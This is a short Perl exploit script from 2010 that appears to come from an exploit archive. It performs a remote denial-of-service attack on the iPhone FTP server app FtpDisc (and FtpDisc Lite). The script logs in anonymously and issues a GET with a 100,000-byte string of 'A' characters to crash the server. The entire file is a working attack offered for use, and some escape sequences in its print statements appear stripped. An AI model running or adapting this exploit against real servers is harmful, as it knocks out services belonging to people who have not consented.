#!/usr/bin/perl
#Title: FtpDisc for Iphone - Remote DOS Exploit
#Date: 23/02/2010
#Author: Ale46 - ale46[at]paranoici[dot]org
#Software Link: http://mochasoft.dk/iphone_ftp.htm
#Version: 1.0
#Note: FtpDisc Lite has the same vuln
#Greetz: Gandalf


use Net::FTP;

if(@ARGV<1){
	print "[-]t Error: ./ftpdisc <ftp_server_ip>n";
	exit();
}

my $ftp;
my $host = $ARGV[0];
my $stuff;

for ($i=0;$i<100000;$i++){
	$stuff .="A";
}


$ftp = Net::FTP->new($host, Timeout=>24, Debug => 0)
or die "Error: $@";
print "n[-]t Logging to FTPnn";
sleep(2);
$ftp->login('anonymous','test@test.net')
or die "Error: ", $ftp->message;
print "[-]t Sending Eval Commandnn";
sleep(2);
$ftp->get($stuff);
$ftp->quit;
print "[-]t Uh.. A crash..n";